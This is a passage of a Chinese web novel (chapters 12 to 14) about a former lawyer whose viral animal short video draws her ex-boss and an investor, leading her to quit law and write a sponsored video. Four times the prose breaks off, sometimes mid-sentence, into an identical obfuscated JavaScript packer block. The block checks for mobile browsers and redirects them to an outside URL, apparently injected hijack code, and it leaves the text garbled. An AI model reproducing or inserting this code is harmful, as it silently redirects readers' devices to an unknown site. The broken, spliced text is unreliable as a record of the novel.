美其名曰“眼不见为净”,省得那点可怜的数据天天杵在眼前,扰乱本就风雨飘摇的找工作的道心。 所以现在报应来了。 想亲眼看看常营口中的“热度”到底是个什么光景。 还得焦心地等着它重新下载回来。 好的,这是根据您的要求进行的续写: 好不容易,进度条终于爬到了终点。 颜炎迫不及待地点开APP。 手机竟罕见地卡顿了一秒,才将界面弹出来。 等到真正看清时,才发现点赞和转发的数字,早已突破了心理预期。 滚到了一个让她需要愣一下,才能反应过来的量级。 颜炎深吸一口气点开评论区。 信息流滚得飞快,根本看不过来。 「哈哈哈」、「女王威武!」、「赌一包辣条主角下一集反杀!」等各式各样的留言。 噼里啪啦地往上蹦。 她甚至看到有人把台词做成了表情包,已经在评论区里传开了。 颜炎的手指飞快地滑动着屏幕,一条条评论从她指尖掠过。 那些跳跃的数字、那些鲜活的留言。 像一股温热潮湃的电流,瞬间击穿了连日的疲惫和自我怀疑。 她甚至能清晰地感觉到,自己的血液流速在加快。 一种难以言喻的、混 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513250|186180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合着巨大惊喜和轻微眩晕感的情绪,猛地冲上了头顶。 然而,还没等颜炎从那股混杂着惊喜、眩晕和不确定的澎湃情绪中完全平复,掌中的手机又一次震动起来。 屏幕骤然亮起,一个许久不曾出现、甚至蒙上了一层灰色记忆的名字,硬生生跳进了她的视线——“潘斥”。 ...... 一个小时后,颜炎站在了原律所所在的写字楼下。 阳光透过玻璃幕墙反射进来,晃得人有些眼晕。 她深吸一口气,推开那扇沉重的、印着律所烫金logo的玻璃门。 熟悉的、带着香薰和空调冷气的空气瞬间涌了出来。 前台区域光可鉴人。 颜炎一眼就看见那位人事正斜靠着大理石台面,和前台的姑娘说着什么。 听见门响,人事下意识地回头,目光撞上颜炎的瞬间。 他脸上那种闲适的表情立刻以肉眼可见的速度僵住了,像是被瞬间冻结,连嘴角那点未收起的笑意都凝固得十分尴尬。 “颜…颜律师?” 人事几乎是弹直了身体,语气里带着显而易见的慌乱和一丝不易察觉的驱逐意味。 “您怎么过来了?就算您一时找不到新所挂证,我们也可以在电话里谈的。” “真的没必要本人特地跑这一趟……” 他的话又急又快,仿佛想赶在颜炎走过来之前就把所有可能性堵死。 颜炎没让他把话说完。 她的目光越过人事,直接落在后面那位略显紧张的前台姑娘脸上,声音平稳,听不出什么情绪。 “我来找潘律师,他约的我。” 她甚至微微笑了一下。 “你可以打电话到他办公室确认一下。” 前台姑娘显然被这暗流涌动的气氛吓到了。 眼睛滴溜溜地先瞟了瞟脸色难看的人事,又滴溜溜地转回来看了看眼前这位气场截然不同的前同事。 然后,像是终于找回了职业手册上的标准流程,扬起一个略显僵硬的微笑。 抓起了桌上的座机听筒。 “好的,颜律师,麻烦您稍等。” 通话时间很短。 只有“嗯”、“好的”、“明白”几个简单的词。 放下电话的前台,笑容瞬间变得真切且亲切了许多。 她甚至微微欠身,从台后绕了出来。 “颜律师,潘律师在办公室等您,请跟我来。” 颜炎点点头,跟着她往里走。 经过那位身体僵硬、脸色一阵红一阵白的人事身边时。 颜炎脚步未停,只是侧过头,声音不高却清晰地扔下一句。 “我知道前面那些电话和流程,都是合伙人的意思。放心,我不会把账记在你头上的。” 人事猛地抬头,嘴唇动了动,却一个字也没说出来。 前台安静地引着颜炎穿过开放办公区。 格子间里,有熟悉的面孔偷偷抬头看她。 眼神里混杂着好奇、惊讶和一丝尴尬,又迅速低下头去,假装忙碌。 这里的布局、气味甚至键盘敲击声都曾是她生活的一部分。 此刻却透着一种物是人非的疏离感,熟悉又陌生。 “到了,颜律师。” 前台在一个办公室门前站定,轻声说道。 颜炎抬眼望去。 深色的实木门上,贴着一方简洁的铭牌,上面清晰地印着两个字: 潘斥。 12. 第12章 办公室里。 潘斥的话,在颜炎耳边嗡嗡地回响。 “小颜啊,我这边呢刚好有个客户,他看到了你视频号上发布的那几集动物主题的短视频,觉得非常有意思。” “所以呢,他就很想和你合作,我觉得这种情况,你就给他免费出个创意、做一期,就当给客户的附加服务。” 他的声音不高,却带着一种穿透力。 每一个冠冕堂皇的词汇都像是精心调配的粘合剂。 试图将颜炎游离的注意力,牢牢钉在当下这场并不令人愉悦的谈话中。 这些话语的套路,实在太让人熟悉了。 听着这位前老板用最正义凛然的包装,裹挟最核心的利益诉求。 颜炎的思绪却开始不受控制地飘远。 自从为了参演了那出荒诞的动物短剧,在脑中自导自演过几个小剧场后。 她仿佛无意间打开了一扇通往奇异世界的大门,想象力特别容易脱缰。 颜炎看着潘斥那张方正的、不苟言笑的脸。 下意识地在心里给他打标签。 潘斥精明、算计,善于用言语布置陷阱。 嗯,就像是一只成精的狐狸。 但下一秒,颜炎就在心里唾弃了自己这个比喻。 不对,潘斥的脸庞方方的,整个人也显得板正甚至有些笨拙。 和妖娆、敏捷的狐狸哪里像了? 这简直降低了狐狸精的平均格调。 那些老祖宗要是知道了,怕是要从神话里跳出来抗议。 等等…… 记忆的角落忽然被点亮。 她想起前段时间,和颜热一起看纪录片时,镜头里闪过的一种长相奇特的狐狸。 “藏狐,以其方形的脸庞著称,被网友们戏称为‘狐主任’……” 画面中那只狐狸表情严肃,眼神里透着一种与生俱来的“领导”气质,它的主食是——鼠兔。 这个联想如同一个开关,“咔哒”一声,眼前现实世界的景象迅速褪色、扭曲、重组。 严肃的办公室背景虚化成了高原草甸,红木办公桌变成了嶙峋的岩石。 潘斥那喋喋不休的方脸,在她脑海中清晰地覆盖上了一层藏狐的毛茸茸的面具。 脑袋上还顶着一个清晰的标签——【潘斥】。 而她自己,则仿佛缩小成了一只毛色灰褐、体型娇小、正在忙碌的鼠兔。 头顶着【颜炎】的名字。 于是,一场严肃(至少表面如此)的职场谈话,在颜炎的脑内小剧场里,彻底变成了自然纪录片风格的滑稽片。 ...... 画外音(模仿纪录片腔调,在颜炎脑中响起): “藏狐,高原生态系统的‘鼠兔专食者’。它的生存高度依赖于鼠兔种群的繁荣。” “无论鼠兔如何辛勤地改造环境、维持草场平衡,在藏狐的眼中,它最终极的价值,似乎都归结于那简单的一句话……” 颜炎脑内小剧场剧情正演到高潮。 现实中潘斥的却突然提高了音量,如同一根针刺破了她的幻想。 “小颜啊,如果你同意,我是可以说服其他合伙人,重新考虑一下,让你回到我们律所工作的。” 颜炎猛地回神,发现自己还坐在那间宽敞却压抑的办公室里。 对面是潘斥那张真实的、方方的、带着期待表情的脸。 她迅速收敛了嘴角几乎要溢出的、因那荒诞小剧场而产生的笑意。 努力让眼神聚焦,显得认真而专注。 “潘律师,您说的我明白了。” 颜炎清了清嗓子,声音平静,听不出太多波澜。 “我会认真考虑的。” 她特意在“认真”二字上做了微不可察的停顿,心中想着的却是那只严肃的方脸藏狐。 或许,在现实的职场草原上,她也需要学会像鼠兔一样。 不仅要辛勤“翻土”、“修剪”、“挖洞”,更要时刻警惕那只永远在评估你“是否好吃”的“藏狐”。 ...... 半个多小时后。 颜炎从前律所那栋冰冷的、泛着玻璃光泽的现代化大楼里走了出来。 夕阳正缓缓下沉,金色的光线失去了正午时分那种滚烫的侵略性。 却依然固执地带着一种令人微微出汗的灼热感。 对于潘斥刚才那番关于“平台价值”、“附加服务”和“未来回报”的宏论。 颜炎此时此刻最直接、最真实的反应。 就是只想仰起头,对着上方灰蓝色的天空,狠狠地、毫无保留地翻一个足以冲破天际的大白眼。 她从法学院毕业,吭哧吭哧、脱了一层皮才通过那场惨烈无比的法考。 第一份工作就是扎进潘斥的团队里当牛做马,直到最后像一块用旧的抹布一样被“优化”掉。 可以说,颜炎职业生涯最惨痛的一课,就是潘斥亲手教授的。 对于这位前老板的行事风格和语言套路,她实在是熟悉到骨头里了。 那个所谓的“很想合作”的“客户”。 至少截止到今天,肯定、绝对、还不是他潘律师名下能收费的正式客户。 否则,以潘斥那种将效率和利益至上的风格。 根本不会浪费宝贵的半小时跟她大谈情怀和未来。 他会直接了当地把一份初步的合作意向书,甚至附带着苛刻的保密协议。 甩到她面前,用不容置疑的语气要求她签字,完成这次“免费的附加服务”。 等等。 一个更让人疑惑、也更关键的问题,猝不及防地冒了出来。 颜炎猛地停下脚步,站在人来人往的街边。 努力回溯拍摄时那个兵荒马乱的场景。 她当时纯粹是抱着给颜热收拾烂摊子、临时凑数的心态去演的。 所以当常营扯着嗓子问她,在片尾演员名字那里要挂什么名的时候。 颜炎记得非常清楚,自己觉得不会有人在乎但又不想用本命,就随口报了一个名字。 而且那个视频里。 她脸上画满了庄文手下那狂放不羁的黑白条纹动物妆,亲妈来了都未必能一眼认出来。 潘斥……到底是怎么知道。 那个顶着一头乱毛、行为莽撞的演员—— 就是她? 不过。 颜炎心头的这点困惑并没持续多久。 ...... 到了晚上。 手机嗡嗡震动起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513251|186180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>发消息来的时间掐得极准,正好差不多是非洲大草原那边的下午时分。 阳光炽烈,信号大概也最好。 她划开屏幕,颜热那带着一股子心虚和求助气息的文字,就争先恐后地跳了出来。 「姐!出大事了!就那个陶总!当初投钱的那个投资人!他居然又给我发消息了!」 「他说看了我们拍的动物主题视频,觉得特别棒,居然还想再合作一次!」 「姐,这回我可学乖了,再不敢自己瞎答应他了,怕又被坑……」 「但是!我现在还欠着他一大笔钱呢,也不敢直接一口回绝把他给得罪了。」 「所以我想来想去,就只能说我现在人在非洲,信号不好沟通不便,请他直接联系你详谈!」 「对了姐,为了壮壮声势,显得我们不是好欺负的,我特意跟他说了你是特别厉害的律师!」「还把你就职过的、挺有名的那家前律所名号报给他了!怎么样,我机智吧?」 颜炎:“......” 她紧紧盯着屏幕上那一长串邀功请赏般的文字,尤其是最后那个闪闪发光的“机智吧。 很好。 破案了。 收到颜热的微信后,颜炎盯着屏幕上那几行字,简直气不打一处来。 这小子倒好,在地球另一端撸着狮子抱着wifi信号器。 轻飘飘一句“陶总想合作”就把球踢了回来。 她捏了捏眉心,认命地叹了口气。 二话不说就翻出罗艾的微信发了条消息过去,言简意赅。 “罗经理,听说陶总那边有再次合作意向?” 消息发出去后。 颜炎也没干等着,起身去厨房倒了杯水。 冰凉的水划过喉咙,稍微浇灭了一点心头那点被“坑”的火气。 玻璃杯壁上凝结的水珠沾湿了指尖,带来一丝清醒的凉意。 没多久,手机屏幕就亮了起来。 罗艾的回复来得比她预想的更快。 跟颜炎推测的大差不差。 罗艾言简意赅,但信息量足够拼出全貌。 陶合,也就是颜热那个项目的投资人。 收到颜热那小子为了壮声势、胡乱推送来的颜炎前律所信息后,大概真放在了心上。 在某次推杯换盏的饭局上,他大概是想显得自己消息灵通、知根知底。 便随口向桌上的人打听了一下“XX律所的颜炎律师”。 这声打听。 就被正好同在饭局、耳朵尖得像雷达、绝不会放过任何潜在客户信息的颜炎前老板潘斥给精准捕捉进去了。 就以潘大律师那“宁可错杀一千,绝不放过一个”的争取客户的积极性。 他立刻顺藤摸瓜,从陶合那里三言两语套出了前因后果,然后大包大揽地把“联系颜炎”这活儿给截胡了下来。 于是,就有了潘斥那通突如其来的召唤电话。 电话那头,罗艾叙述到这里,轻笑一声。 那笑声透过电波传来,带着点微妙的意味。 “所以,事情就是这样。陶总的确对短视频内容这个领域很感兴趣。” “做生不如做熟,他觉得你们有经验,也算知根知底,就希望能有机会再合作一次。” 13. 第13章 再合作一次? 颜炎闭上眼睛,手机微微发烫地贴着她的耳朵。 她可以理解陶合的想法,这种逻辑在过去的律师生涯里见过太多。 之前她做过的不少案子中,即使最后败诉了或者结果不如人意。 但是客户如果认可了她和团队在过程中展现出的专业、拼命和责任心,后面有其他法律需求,第一个想到的还是他们。 道理很简单,重新换一个律师,意味着一切从头开始: 要花费大量时间相互了解、建立信任、试探对方的业务能力和负责程度。 这其中耗费的时间成本和沟通成本实在太大。 对于投资人而言,时间就是金钱。 “如果真的想试水投资短视频,的确…我们的确算是陶合眼下比较好的选择了。” 颜炎对着空气,无声地动了动嘴唇,像是在自嘲,又像是在冷静分析。 “有个勉强算小成功的项目打底,刚起步价格肯定便宜,而且…” 她顿了顿,想到那笔沉甸甸的债务,嘴角扯起一个没什么笑意的弧度。 “而且就算赚了钱,还得先用来还欠陶总的债。怎么算,这笔账,他都不亏。” 所以,到底要不要答应呢? ...... 一个多星期后。 刚过午饭时间。 颜炎揉了揉有些发涩的眼睛。 终于将电脑屏幕上最后一部近期爆火的短剧拉完了进度条。 房间里很安静,只听得见窗外隐约的车流声。 一本摊开的笔记本静静地躺在书堆旁,页角卷曲,上面密密麻麻、字迹潦草. 既有各种热点梗的记录,也有短剧相关情节的批注。 颜炎的目光最终停留在笔记的几处空白边缘,那里被她画了几个歪歪扭扭的卡通形象。 水笔勾勒出的藏狐顶着那张著名的方脸,眼神是看透世事的无奈。 旁边则是一只圆滚滚的鼠兔,耳朵竖得老高,模样憨拙。 看着自己的“杰作”。 颜炎嘴角不自觉的微微上扬,连日恶补的疲惫似乎也消散了些许。 一阵突兀的手机铃声骤然划破了室内的宁静,将她从思绪中猛地拽回现实。 颜炎微微一怔。 目光循声投向在书桌一角震动的手机,屏幕上显示着一个陌生的本地号码。 她深吸一口气,按下了接听键。 电话那头传来一个训练有素、语调平稳却不带过多感情的女性声音。 “您好,请问是颜炎女士吗?我这里是幻岩律师事务所人力资源部。” “是的,我是。” 颜炎应道,下意识地挺直了背脊。 “颜女士,您好。通知您一下,经过综合评估,如果您能够接受税前月薪......的授薪律师薪资标准,我们事务所将正式向您发出录用通知。” “相关的劳动合同与报到事宜,会在您确认后以邮件形式发送。” 幻岩律师事务所? 这个名字让颜炎的心跳漏了一拍,迅速在记忆中搜索。 想起来了,大约十天前。 她的确去过那家以处理商业纠纷案件闻名的律所面试。 印象……可谓相当深刻。 深刻的主要原因,并非是那位于市中心顶级写字楼的奢华办公环境,也非人事常规性的提问。 而是那位律所的主任——金正律师,竟亲临了面试现场。 那位传闻中律所的轴心人物,花了足足两个小时,事无巨细地盘问——啊不,是面试了她。 从经典案例的辨析思路,到对行业潜规则的看法, 甚至问及了她对未来五年职业发展的极端设想。 那强大的气场,那不怒自威的派头,以及偶尔流露出的、仿佛能看穿人心的锐利眼神。 都让那场面试的氛围远超寻常。 知道的内情是在面试一个出道几年的授薪律师,不知道的,单看那架势。 恐怕会以为她颜炎是在竞争幻岩律所的权益合伙人呢。 此刻回想起来,那紧绷的两个小时所带来的压迫感,依旧清晰可辨。 “喂,颜炎女士,您在听吗?” 电话那头,HR的声音提高了一些,带着一丝不易察觉的催促,将颜炎从短暂的失神中惊醒。 电话线似乎传递来了对方因短暂沉默而产生的微妙惊诧 ——或许对于幻岩所这样的知名律所,很少有人会对他们的录用通知表现出犹豫。 “啊,在的,不好意思。” 颜炎轻咳一声,清了清略微发干的喉咙,语气迅速恢复了镇定。 自从开始撰写短视频剧本以后,她这种思维脱缰的状况就越来越频繁。 颜炎握紧了手机,指尖能感受到机身微微发热,清晰地、一字一句地回应道。 “非常感谢贵所的厚爱,也请替我转达对金正主任的谢意。” “不过,经过慎重考虑,我对自己未来的职业规划有了其他的安排,所以,只能遗憾地拒绝这次宝贵的工作机会了。” 她的话语礼貌而坚定。 但隔着电波。 颜炎几乎能想象出电话那头HR脸上错愕的表情。 在当前这样的环境下,对于一名还在找工作的律师而言。 拒绝幻岩所这样的平台,近乎是一种不可理喻的行为。 对方又确认了一遍,得到颜炎肯定的答复后。 才带着掩饰不住的疑惑口吻结束了通话。 “嘟…”的电话忙音响起。 颜炎握着手机,在原地静立了几秒,才缓缓将手机从耳边移开。 她伸展手臂,尽情地、长长地伸了一个懒腰。 走到书桌旁,拉开了那个收纳重要文件的抽屉。 在一叠资料的最上面,安静地躺着一份早已准备好的申请材料。 ——关于注销律师证的。 颜炎将材料拿了出来,用指尖轻轻弹了弹透明的塑料文件夹表面,发出清脆的“啪啪”声。 仿佛是在为自己鼓劲,也像是在弹去最后一丝犹豫。 “既然下定了决心,那就不要再耽搁了。” 她低声对自己说,语气里带着一种如释重负的轻快和新的决心。 ...... 傍晚时分,城市华灯初上。 颜炎拖着略显疲惫却带着一丝轻松的步伐回到了家中。 空气中还残留着白日阳光炙烤后的余温。 她将钥匙放在玄关的盘子里,发出清脆的响声。 空旷的小公寓仿佛才被注入了生机。 她习惯性地先打开了电脑,让系统嗡嗡地启动,然后才点开了那个熟悉的绿色图标——微信网页端。 界面刚加载完毕,一连串来自“颜热”的消息提示音就迫不及待地“叮咚叮咚”响了起来。 打破了房间的寂静,那个鲜红的未读数字显得格外醒目。 「姐!在吗?」 「姐,我刚看到你的留言!你要注销律 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513252|186180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师证???[惊恐表情]」 「姐,你别想不开啊!是不是因为我的事压力太大了?」 「我这里在拼命工作,真的,导师很欣赏我,说我们这个项目进展顺利,再过几个月,就可能另外给我发一笔不小的奖金!欠陶总的钱一定能还上的,你相信我!」 颜炎逐字逐句地看着屏幕上弟弟急切又带着自责的话语。 仿佛能看见颜热在那头抓耳挠腮、心急火燎的样子。 她心里一热,一股暖流夹杂着些许酸涩涌上心头。 「你想多了。」 颜炎先定了调子。 「我只是不做律师了,又不是不准备赚钱了。[翻白眼表情]」 她略作停顿,继续输入,决定将部分计划和盘托出,好让弟弟安心。 「我建了个账号,把我们之前那个小短剧,分集传了上去。没想到,还真有了一点热度,带了一波小流量。」 「然后,你猜怎么着?那个投资人陶总,鼻子挺灵,就顺着网线找过来了。」 「他说看了我的东西,觉得有意思,想再试着合作一次。我仔细考虑过了,觉得这次条件比较清晰,就答应了。」 颜炎刚发出去消息没多久,几乎就收到了秒回。 而且还是噼里啪啦就炸了过来,速度快得让人应接不暇。 「姐!你还说你不是想不开!!!」 「我都差点被那个坑埋了,你还记得他当时怎么催债的吗?我现在想起来都头皮发麻!」 「我还欠着他投资款没还清呢,你怎么又要一脚踩进同一个坑里去?!这跟与虎谋皮有什么区别啊!」 颜炎盯着屏幕上那一连串带着惊叹号和强烈情绪的文字,尤其是“与虎谋皮”四个字。 顿时觉得额角的青筋似乎都跳了一下。 她深吸一口气,觉得自己的拳头有点硬了。 真想穿过屏幕给这个遇事就容易慌神的弟弟一个暴击。 「你以为我是你啊!做事莽莽撞撞,不看合同就敢签!」 颜炎的回复带上了明显的火药味,指尖用力地敲着键盘。 「我跟陶总白纸黑字签了协议,他先付定金,我出视频内容,只需要在视频里自然露出他指定的广告产品」 「然后根据视频最终的播放量、点赞评论这些数据,来分阶段结算尾款。达不到标准,他连尾款都可以不付,但定金是我的。风险可控,懂吗?笨蛋!」 这下,颜热的回复不再是干巴巴的文字,而是一长串表情包的刷屏轰炸。 手机在颜炎手中“嗡嗡”震个不停,屏幕上接连蹦出各种夸张动图: 抱头尖叫着飞速转圈,配文“抱头鼠窜”; 接着是五体投地、眼冒星星地高喊“老板英明”。 最后以死死抱住金光闪闪的粗壮大腿不放的“抱大佬大腿”收尾。 颜炎被这波视觉攻击逗得嘴角一翘。 几乎能想象出屏幕那头表弟抓耳挠腮、努力表忠心的模样。 这波插科打诨的表情包洪流总算告一段落。 手机安静了两秒,就在颜炎准备锁屏时。 一条新消息小心翼翼地冒了出来。 颜热在那堆喧闹的表情包末尾,小小地缀上一行字: 「姐,那陶总这次指定的广告产品,是什么啊?」 看到这个问题,颜炎指尖一顿,刚才那点轻松瞬间消散。 她想起那个至今还没找到切入点的剧本,有些郁闷地敲着屏幕回复: 「预制菜」。 14. 第14章 跟颜热结束聊天之后,已经快过去一天了。 颜炎就保持着一种近乎僵直的状态。 从阳光刚好斜射到书桌的上午,硬生生坐到了日头西沉。 夕阳的光芒给键盘镶嵌上一圈暖茸茸的金边。 而她,姿势都没怎么变过。 唯有因长时间凝视屏幕而干涩发胀的眼球,和逐渐变得僵硬的肩颈,在无声诉说着时间的流逝。 眼前的文档界面依旧干净得刺眼。 唯有屏幕上的光标,在段落开头的位置固执地闪烁着。 之前好不容易敲下的几行字。 颜炎反复读了不下十遍,越读越觉得不对劲。 那干巴巴的叙述,那毫无波澜的情节推进。 怎么看都更像是篇没人爱看的工作简报。 一股无名火夹杂着自我厌弃猛地窜上来。 颜炎几乎是咬牙切齿地将手指狠狠杵在退格键上,看着那几行可怜的、刚诞生不久的文字瞬间被吞噬殆尽。 界面恢复了令人绝望的整洁。 一键清空。 颜炎有些颓然地抬起。 之前看蜜獾那个让人捧腹的短剧剧本时。 她只觉得剧情冲突设置得巧妙,场景转换流畅自然,心里甚至还隐隐闪过“我上我也行”的念头。 可真轮到她自己动笔,啊不,动键盘。 那股子自信瞬间烟消云散。 取而代之的是苦思冥想,抓耳挠腮。 她一会儿用力薅自己的头发,一会儿又用指甲敲击键盘边框,试图硬生生刨出一点灵感。 然而,脑子里依旧空空如也,只剩下焦虑嗡嗡作响。 “啊——” 颜炎哀嚎一声。 那声音里充满了穷途末路的绝望。 她猛地向后一倒,整个人瘫在客厅沙发上,怀里还抱着那台同样无精打采的电脑。 “再这么下去,不要说颜热,我都要违约了。” “到时候,还有什么资格去嘲笑颜热?” 颜炎用力捂住脸。 彻底沉浸在“自己根本不会写剧本”与“deadline步步迫近”的双重自怨自艾中。 “叮咚——” 突如其来的手机提示音在这片因自我放弃而显得格外寂静的房间里炸开。 吓得颜炎一个激灵,心脏猛地一跳,差点把腿上的电脑掀翻。 她手忙脚乱地捞住滑落的电脑,没好气地抓过扔在抱枕旁的手机。 心里还嘀咕着是哪个不长眼的在这个时候打扰她“闭关”。 屏幕亮起,柔和的光线映在她还有些茫然的眼睛里。 来信人显示——庄文。 「颜炎,今晚有空不?我请客~~~感谢你发在账号上的小短剧,让我都多了不少工作机会~~」 看着这条消息,特别是后面那几个欢快跳跃的波浪号。 颜炎眼前瞬间浮现出不久前的拍摄画面: 简陋的拍摄场地,一群人在那里为了几分钟的镜头反复折腾。 回忆的暖流漫上心头,驱散了片刻的阴郁。 但是。暖归暖。 现实还是不得不让她低头。 颜炎长长地叹了口气,认命般地坐直身体,将手机拿到面前。 手指在屏幕上方悬停片刻,似乎在权衡,在挣扎,最终还是随即灵活地敲击起来。 她熟练地组织着语言,转眼就编辑好了一条措辞委婉的拒绝消息。 语气遗憾又带着恰到好处的感谢。 啊。 颜炎在心里哀嚎。 要是写短视频剧本和构思拒绝借口一样文思泉涌就好了。 指尖悬在绿色的发送键上方。 她深吸一口气,正准备按下去的那一刻—— “叮咚!” 庄文的名字再次跃入眼帘。 紧随其后的下一条消息,硬生生阻止了颜炎的动作。 「我朋友是个美食博主,今晚他亲自下厨哦~~~全手工现制美食哦~~」 美食? 还是全手工现制的? 这几个字像带着魔力,在颜炎的脑海里盘旋。 她猛地坐直了身体。 等等——这次定制广告短视频,不就是家用的预制菜。 而她卡壳的不就是‘在家做饭’这个主题吗? 这不巧了。 颜炎一个平时靠吃外卖和方便面为生的标准社畜。 对于“在家做饭”这门高深学问,实在是缺少基础的认知和实践。 而会做饭的颜热现在在非洲,又有时差又要工作,实在不好讨论 如今一个现成的、活生生的美食博主就摆在眼前,而且马上就要进行“全手工现制”操作。这哪里是简单的蹭饭,这分明是送上门的灵感! 再加上...... 颜炎瞟了眼电脑旁边吃剩下的、散发着油腻气息的泡面碗—— 那凝固的红色油花和软塌塌的面条,此刻看起来格外凄凉。 是该吃顿好的,给自己鼓鼓劲了。 大脑和胃,总得有一个要先被填饱! 想到这里。 她干净利索地删掉了那条编辑好的、充满遗憾的拒绝信息,换上一副迫不及待的口吻: 「感谢庄总款待,麻烦给个定位,立刻出发,谢谢。」 ...... 庄文给的定位,是在一个非常不错的小档小区。 颜炎先是过了小区大门的门禁,又在楼栋前摁响了通讯铃,这才得以跨进上楼的电梯。 电梯平稳上行,数字安静地跳动。 “叮”的一声,厚重的金属门向两侧滑开。 庄文就站在电梯门外。 “嗨……” 颜炎脸上刚扬起一个笑容,手才抬到一半,招呼的话头就被利落地截断了。 “嗨什么嗨,快进来帮忙。” 庄文语速又快又急,根本没给她反应的时间,一把攥住她的手腕就将人从电梯里拽了出来。 颜炎猝不及防,被拉得一个趔趄,惯性让她差点向后仰去。 等晕头转向地稳住步子,定睛一看,发现自己已经站在一个宽敞的客厅里了。 客厅连着开放式厨房,此刻那里正是一片繁忙又略带混乱的景象。 中岛台和旁边的延伸餐桌上,乱糟糟地摆满了各式蔬菜、洗净的餐具、未拆封的调味料,以及一些叫不出名字的厨具。 琳琅满目,看得人眼花缭乱。 “额,不用这么隆重,随便做点就行。” 颜炎看着这阵仗,心里有点发怵,相当不好意思地开口。 她以为只是顿家常便饭,可是只拎了一箱牛奶就上门了。 “随便不了。” 一个穿着深色围裙的年轻男人从冰箱旁直起身,手里拿着一盒新鲜的蘑菇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513253|186180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气平静却不容置疑。 “这是颜炎,这是秦渥。” 庄文快速完成了介绍,随即转向颜炎,双手合十,表情是十足的恳求。 “来得太是时候了!秦渥的助手今天早上突发急性肠胃炎,来不了了,现在就靠我们俩撑着了!救场如救火啊姐妹!” 颜炎:“?” 什么情况?什么助手请了病假? 她不是被庄文热情邀请来“尝尝全手工现制美食”的吗?怎么客人秒变帮工了? 但是,不等颜炎从“客人变帮工”的错愕中回过神来,就被庄文火急火燎地派了活儿—— 去厨房岛台附近打下手。 “颜炎,快!帮我把那个反光板立起来!” 庄文一边调整着相机参数,一边指挥。 颜炎手忙脚乱地扶起那面比她肩膀还宽的反光板,冰凉的金属支架硌得她手有点不舒服。 刚固定好,秦渥清冷的声音从灶台那边飘了过来。 “光线还差点意思,侧面的补光灯也开一下。” 得,颜炎又被推着去摸索那个造型古怪的打光灯开关。 她心里正嘀咕着这到底是要做饭,还是要拍大片。 秦渥的指令再次精准投递。 “颜炎,从那边食材里挑几个卖相好的西红柿和洋葱出来。” 颜炎:“……” 只得深吸一口气,认命地蹲在那一大堆食材前,开始在一堆洋葱里扒拉,感觉自己不像来帮忙的,倒像是来参加农产品选美大赛的评委。 她经过仔细比对,好不容易挑中了两个自认为形状圆润、表皮光滑闪亮的紫皮洋葱,刚站起身,还没来得及展示成果—— “不对,不要那两个洋葱。” 秦渥甚至没回头,只是用眼角的余光一扫,就大声喊道。 “表皮不够光滑,颜色也不够均匀。” 颜炎:“……” 她僵在原地,低头看了看自己左手右手各握着一个的洋葱。 它们分明圆滚滚的,紫得发亮。 在颜炎的眼里已经堪称洋葱界的俊男美女。 她忍不住在心里腹诽:秦渥的眼睛难道是自带高清放大镜和色卡校准功能吗?他到底是从哪个微观角度看出这些她压根不存在的“缺点”的? “颜炎,别发呆啊,你过来帮我找一下化妆品,我一个人找不过来!” 庄文的喊声从客厅角落传来,听起来十万火急。 颜炎刚把那个被“淘汰”的洋葱放回原处,还没来得及直起腰。 秦渥清冷的声音又不容置疑地响起,无缝衔接。 “颜炎,你忙完了,就去把餐具摆一下,一定要摆得好看啊。” 颜炎感觉自己像个被同时抽了两鞭子的陀螺,在原地懵了一瞬,才僵硬地转身。 先冲向庄文那边,在化妆箱里翻找指定色号的粉底。 刚有点眉目,秦渥那边催促的眼神又像探照灯一样打了过来。 颜炎又被支使回岛台边,对着那摞精致的碗碟犯难。 怎么摆才算“好看”?横着?竖着? 斜着放会不会更有艺术感? 她被支使得团团转,像个多功能自动应答机器人,在两个“指挥官”之间疲于奔命。 只恨不能时光倒流,让她倒回去把手机里那段答应来赴约的微信记录,给删得干干净净,再狠狠心把庄文这个“坑货”暂时拉黑一分钟。 15. 第15章 